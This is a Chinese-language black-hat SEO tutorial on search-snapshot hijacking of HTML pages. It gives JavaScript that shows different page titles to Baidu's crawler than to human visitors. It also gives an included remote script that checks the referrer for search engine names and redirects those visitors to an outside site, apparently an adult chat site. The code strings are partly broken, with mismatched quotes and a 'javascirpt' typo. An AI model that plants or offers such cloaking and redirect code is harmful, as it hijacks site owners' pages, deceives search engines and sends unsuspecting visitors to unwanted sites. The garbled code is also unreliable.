黑帽SEO教程為html中的js跳轉(zhuǎn)url加密(附解密代碼)
url加密(附解密代碼).jpg)
通常我們看到的是php或者asp的快照劫持代碼,很多人對(duì)html的跳轉(zhuǎn)情有獨(dú)鐘,用js來實(shí)現(xiàn)是最合適不過的事情了,看完這篇文章,相信大家以后再遇到類似的劫持情況也就能輕松應(yīng)對(duì)了,只不過是代碼加密而已。今天,樂天老師分享的內(nèi)容為《黑帽SEO教程(javascript快照劫持跳轉(zhuǎn)代碼)》。希望對(duì)大家有所幫助。
一、unicode編碼
unicode編碼一般被黑帽SEO用來加密標(biāo)題、關(guān)鍵詞和頁面描述,其實(shí)這種編碼加密很容易被看出來,站長之家等在線工具均可以進(jìn)行解密加密。
二、瀏覽器訪問不劫持
如果想用戶從瀏覽器直接訪問該頁面,顯示原來的標(biāo)題,并不顯示劫持后的標(biāo)題的話,則需要使用一個(gè)js代碼。
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="標(biāo)題"}</script>
三、引用js代碼
當(dāng)我們?cè)趆tml中引用多個(gè)js時(shí),可以直接使用<script type="text/javascirpt" src="網(wǎng)址/ xx.js"></script>,例如:
<script type="text/javascirpt" src="http://letianyun.cn/ xx.js"></script>
然后在js中采用if語句來判斷是用戶,還是搜索引擎蜘蛛,蜘蛛則顯示劫持頁面,用戶則進(jìn)行跳轉(zhuǎn)。下面則為引用的js的全部代碼。
document.writeln("var s=document.referrer");
/*獲取當(dāng)前網(wǎng)頁超鏈接的地址url,并把此url的值賦給s */
document.writeln("if(s.indexOf("baidu")>0 || s.indexOf("sogou")>0 || s.indexOf("soso")>0 ||s.indexOf("sm")>0 ||s.indexOf("uc")>0 ||s.indexOf("bing")>0 ||s.indexOf("yahoo")>0 ||s.indexOf("so")>0 )");
/*這里的indexOf是一個(gè)方法 s.indexOf("baidu") 的意思是 獲取"baidu"在s中的下標(biāo) ,如果s中包含"baidu",就會(huì)得到一個(gè)int類型的數(shù)。
||是或的意思。
if()中的意思是:當(dāng)前網(wǎng)頁的url地址包含baidu或sogou或soso或sm等的時(shí)候,繼續(xù)其他語句。*/
document.writeln("location.href="http://www.yetiskinlerchat.com/";");
/*這里的location.href= "/url"是當(dāng)前頁面打開URL頁面,屬于本頁面跳轉(zhuǎn)。*/
引用的這篇文章寫得不錯(cuò),大家可以去看看,但實(shí)際操作過程中可能會(huì)遇到問題,有些解碼完全正確但是無法正常跳轉(zhuǎn),如果使用不加密的<script type="text/javascirpt" src="網(wǎng)址/ xx.js"></script>代碼則可以很好完成劫持和跳轉(zhuǎn)。但有一些在線解密加密的網(wǎng)站還是非常有用的